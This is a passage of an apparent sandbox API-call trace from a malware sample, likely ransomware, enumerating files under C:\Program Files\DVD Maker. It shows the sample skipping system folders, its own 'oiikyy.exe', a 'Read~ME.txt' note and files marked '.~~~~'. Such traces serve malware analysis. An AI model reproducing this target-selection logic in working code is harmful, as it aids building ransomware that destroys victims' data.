	[0080.169] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="fieldswitch.ax", cAlternateFileName="")) returned 1
	[0080.169] lstrcmpiW (lpString1="fieldswitch.ax", lpString2="Windows") returned -1
	[0080.169] lstrcmpW (lpString1="fieldswitch.ax", lpString2="oiikyy.exe") returned -1
	[0080.170] StrStrW (lpFirst="fieldswitch.ax", lpSrch=".~~~~") returned 0x0
	[0080.170] lstrcmpW (lpString1="fieldswitch.ax", lpString2="Read~ME.txt") returned -1
	[0080.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x60) returned 0x27f2068
	[0080.170] GetCurrentThreadId () returned 0x618
	[0080.170] RtlWakeConditionVariable () returned 0x365f48
	[0080.170] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="offset.ax", cAlternateFileName="")) returned 1
	[0080.170] lstrcmpiW (lpString1="offset.ax", lpString2="Windows") returned -1
	[0080.170] lstrcmpW (lpString1="offset.ax", lpString2="oiikyy.exe") returned -1
	[0080.170] StrStrW (lpFirst="offset.ax", lpSrch=".~~~~") returned 0x0
	[0080.170] lstrcmpW (lpString1="offset.ax", lpString2="Read~ME.txt") returned -1
	[0080.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x60) returned 0x27f2068
	[0080.170] GetCurrentThreadId () returned 0x618
	[0080.170] RtlWakeConditionVariable () returned 0x365f48
	[0080.170] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe46400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdBase.dll", cAlternateFileName="")) returned 1
	[0080.170] lstrcmpiW (lpString1="OmdBase.dll", lpString2="Windows") returned -1
	[0080.170] lstrcmpW (lpString1="OmdBase.dll", lpString2="oiikyy.exe") returned 1
	[0080.170] StrStrW (lpFirst="OmdBase.dll", lpSrch=".~~~~") returned 0x0
	[0080.170] lstrcmpW (lpString1="OmdBase.dll", lpString2="Read~ME.txt") returned -1
	[0080.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x60) returned 0x27f2068
	[0080.170] GetCurrentThreadId () returned 0x618
	[0080.170] RtlWakeConditionVariable () returned 0x365f48
	[0080.170] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0efd6c5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0efd6c5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb102e1c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x432600, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdProject.dll", cAlternateFileName="")) returned 1
	[0080.170] lstrcmpiW (lpString1="OmdProject.dll", lpString2="Windows") returned -1
	[0080.171] lstrcmpW (lpString1="OmdProject.dll", lpString2="oiikyy.exe") returned 1
	[0080.171] StrStrW (lpFirst="OmdProject.dll", lpSrch=".~~~~") returned 0x0
	[0080.171] lstrcmpW (lpString1="OmdProject.dll", lpString2="Read~ME.txt") returned -1
	[0080.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x60) returned 0x27f2068
	[0080.171] GetCurrentThreadId () returned 0x618
	[0080.171] RtlWakeConditionVariable () returned 0x365f48
	[0080.171] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b6b5be, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0b6b5be, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bb787f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pipeline.dll", cAlternateFileName="")) returned 1
	[0080.171] lstrcmpiW (lpString1="Pipeline.dll", lpString2="Windows") returned -1
	[0080.171] lstrcmpW (lpString1="Pipeline.dll", lpString2="oiikyy.exe") returned 1
	[0080.171] StrStrW (lpFirst="Pipeline.dll", lpSrch=".~~~~") returned 0x0
	[0080.171] lstrcmpW (lpString1="Pipeline.dll", lpString2="Read~ME.txt") returned -1
	[0080.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x60) returned 0x27f2068
	[0080.171] GetCurrentThreadId () returned 0x618
	[0080.171] RtlWakeConditionVariable () returned 0x365f48
	[0080.171] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7b5c53e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc7b5c53e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x43aceae0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1cc000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PipeTran.dll", cAlternateFileName="")) returned 1
	[0080.171] lstrcmpiW (lpString1="PipeTran.dll", lpString2="Windows") returned -1
	[0080.171] lstrcmpW (lpString1="PipeTran.dll", lpString2="oiikyy.exe") returned 1
	[0080.171] StrStrW (lpFirst="PipeTran.dll", lpSrch=".~~~~") returned 0x0
	[0080.171] lstrcmpW (lpString1="PipeTran.dll", lpString2="Read~ME.txt") returned -1
	[0080.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x60) returned 0x27f2068
	[0080.171] GetCurrentThreadId () returned 0x618
	[0080.171] RtlWakeConditionVariable () returned 0x365f48
	[0080.172] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtstreamsink.ax", cAlternateFileName="")) returned 1
	[0080.172] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2="Windows") returned -1
	[0080.172] lstrcmpW (lpString1="rtstreamsink.ax", lpString2="oiikyy.exe") returned 1
	[0080.172] StrStrW (lpFirst="rtstreamsink.ax", lpSrch=".~~~~") returned 0x0
	[0080.172] lstrcmpW (lpString1="rtstreamsink.ax", lpString2="Read~ME.txt") returned 1
	[0080.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x60) returned 0x27f2068
	[0080.172] GetCurrentThreadId () returned 0x618
	[0080.172] RtlWakeConditionVariable () returned 0x365f48
	[0080.172] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtstreamsource.ax", cAlternateFileName="")) returned 1
	[0080.172] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2="Windows") returned -1
	[0080.172] lstrcmpW (lpString1="rtstreamsource.ax", lpString2="oiikyy.exe") returned 1
	[0080.172] StrStrW (lpFirst="rtstreamsource.ax", lpSrch=".~~~~") returned 0x0
	[0080.172] lstrcmpW (lpString1="rtstreamsource.ax", lpString2="Read~ME.txt") returned 1
	[0080.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0080.172] GetCurrentThreadId () returned 0x618
	[0080.172] RtlWakeConditionVariable () returned 0x365f48
	[0080.172] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55c168a, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd55c168a, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18208, dwReserved0=0x0, dwReserved1=0x0, cFileName="SecretST.TTF", cAlternateFileName="")) returned 1
	[0080.172] lstrcmpiW (lpString1="SecretST.TTF", lpString2="Windows") returned -1
	[0080.172] lstrcmpW (lpString1="SecretST.TTF", lpString2="oiikyy.exe") returned 1
	[0080.172] StrStrW (lpFirst="SecretST.TTF", lpSrch=".~~~~") returned 0x0
	[0080.172] lstrcmpW (lpString1="SecretST.TTF", lpString2="Read~ME.txt") returned 1
	[0080.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x60) returned 0x27f2068
	[0080.173] GetCurrentThreadId () returned 0x618
	[0080.173] RtlWakeConditionVariable () returned 0x365f48
	[0080.173] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared", cAlternateFileName="")) returned 1
	[0080.173] lstrcmpiW (lpString1="Shared", lpString2="Windows") returned -1
	[0080.173] lstrcmpW (lpString1="Shared", lpString2=".") returned 1
	[0080.173] lstrcmpW (lpString1="Shared", lpString2="..") returned 1
	[0080.173] lstrcmpW (lpString1="Shared", lpString2="AppData") returned 1
	[0080.173] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared", lpSrch="AppData") returned 0x0
	[0080.173] lstrlenW (lpString="C:\\Windows") returned 10
	[0080.173] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared", lpString2="C:\\Windows") returned -1
	[0080.173] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0080.173] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared", lpString2="C:\\System Volume Information") returned -1
	[0080.173] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0080.173] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\*", lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a808
	[0080.175] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0080.175] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0080.175] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0080.175] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0080.175] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0080.175] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.176] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0080.176] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0080.176] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0080.176] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0080.176] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0080.176] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0080.176] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93dab239, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93dab239, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68934cfd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.fxh", cAlternateFileName="")) returned 1
	[0080.176] lstrcmpiW (lpString1="Common.fxh", lpString2="Windows") returned -1
	[0080.176] lstrcmpW (lpString1="Common.fxh", lpString2="oiikyy.exe") returned -1
	[0080.176] StrStrW (lpFirst="Common.fxh", lpSrch=".~~~~") returned 0x0
	[0080.176] lstrcmpW (lpString1="Common.fxh", lpString2="Read~ME.txt") returned -1
	[0080.176] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0080.176] GetCurrentThreadId () returned 0x618
	[0080.176] RtlWakeConditionVariable () returned 0x365f48
	[0080.176] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d12cc5, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d12cc5, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x6895ae5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveAnother.png", cAlternateFileName="")) returned 1
	[0080.176] lstrcmpiW (lpString1="DissolveAnother.png", lpString2="Windows") returned -1
	[0080.176] lstrcmpW (lpString1="DissolveAnother.png", lpString2="oiikyy.exe") returned -1
	[0080.176] StrStrW (lpFirst="DissolveAnother.png", lpSrch=".~~~~") returned 0x0
	[0080.176] lstrcmpW (lpString1="DissolveAnother.png", lpString2="Read~ME.txt") returned -1
	[0080.176] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.176] GetCurrentThreadId () returned 0x618
	[0080.177] RtlWakeConditionVariable () returned 0x365f48
	[0080.177] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d38e22, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d38e22, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68980fb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb7835, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveNoise.png", cAlternateFileName="")) returned 1
	[0080.177] lstrcmpiW (lpString1="DissolveNoise.png", lpString2="Windows") returned -1
	[0080.177] lstrcmpW (lpString1="DissolveNoise.png", lpString2="oiikyy.exe") returned -1
	[0080.177] StrStrW (lpFirst="DissolveNoise.png", lpSrch=".~~~~") returned 0x0
	[0080.177] lstrcmpW (lpString1="DissolveNoise.png", lpString2="Read~ME.txt") returned -1
	[0080.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0080.177] GetCurrentThreadId () returned 0x618
	[0080.177] RtlWakeConditionVariable () returned 0x365f48
	[0080.177] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdStyles", cAlternateFileName="DVDSTY~1")) returned 1
	[0080.177] lstrcmpiW (lpString1="DvdStyles", lpString2="Windows") returned -1
	[0080.177] lstrcmpW (lpString1="DvdStyles", lpString2=".") returned 1
	[0080.177] lstrcmpW (lpString1="DvdStyles", lpString2="..") returned 1
	[0080.178] lstrcmpW (lpString1="DvdStyles", lpString2="AppData") returned 1
	[0080.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles", lpSrch="AppData") returned 0x0
	[0080.178] lstrlenW (lpString="C:\\Windows") returned 10
	[0080.178] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles", lpString2="C:\\Windows") returned -1
	[0080.178] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0080.178] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles", lpString2="C:\\System Volume Information") returned -1
	[0080.178] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3bc6e8
	[0080.178] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0080.181] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0080.181] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0080.181] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0080.181] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0080.181] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0080.181] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.182] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0080.182] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0080.182] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0080.182] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0080.182] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0080.183] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0080.183] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec183f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec183f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1
	[0080.183] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="Windows") returned -1
	[0080.183] lstrcmpW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="oiikyy.exe") returned -1
	[0080.183] StrStrW (lpFirst="16to9Squareframe_Buttongraphic.png", lpSrch=".~~~~") returned 0x0
	[0080.183] lstrcmpW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="Read~ME.txt") returned -1
	[0080.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0080.183] GetCurrentThreadId () returned 0x618
	[0080.183] RtlWakeConditionVariable () returned 0x365f48
	[0080.183] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0080.183] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0080.183] lstrcmpW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0080.183] StrStrW (lpFirst="16to9Squareframe_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0080.183] lstrcmpW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0080.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0080.183] GetCurrentThreadId () returned 0x618
	[0080.183] RtlWakeConditionVariable () returned 0x365f48
	[0080.183] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_VideoInset.png", cAlternateFileName="")) returned 1
	[0080.183] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2="Windows") returned -1
	[0080.183] lstrcmpW (lpString1="16to9Squareframe_VideoInset.png", lpString2="oiikyy.exe") returned -1
	[0080.183] StrStrW (lpFirst="16to9Squareframe_VideoInset.png", lpSrch=".~~~~") returned 0x0
	[0080.183] lstrcmpW (lpString1="16to9Squareframe_VideoInset.png", lpString2="Read~ME.txt") returned -1
	[0080.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.184] GetCurrentThreadId () returned 0x618
	[0080.184] RtlWakeConditionVariable () returned 0x365f48
	[0080.184] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e55, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1
	[0080.184] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="Windows") returned -1
	[0080.184] lstrcmpW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="oiikyy.exe") returned -1
	[0080.184] StrStrW (lpFirst="4to3Squareframe_Buttongraphic.png", lpSrch=".~~~~") returned 0x0
	[0080.184] lstrcmpW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="Read~ME.txt") returned -1
	[0080.184] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0080.184] GetCurrentThreadId () returned 0x618
	[0080.184] RtlWakeConditionVariable () returned 0x365f48
	[0080.184] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0080.184] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0080.184] lstrcmpW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0080.184] StrStrW (lpFirst="4to3Squareframe_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0080.184] lstrcmpW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0080.184] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0080.184] GetCurrentThreadId () returned 0x618
	[0080.184] RtlWakeConditionVariable () returned 0x365f48
	[0080.184] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec8a80b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec8a80b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_VideoInset.png", cAlternateFileName="")) returned 1
	[0080.184] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2="Windows") returned -1
	[0080.186] lstrcmpW (lpString1="4to3Squareframe_VideoInset.png", lpString2="oiikyy.exe") returned -1
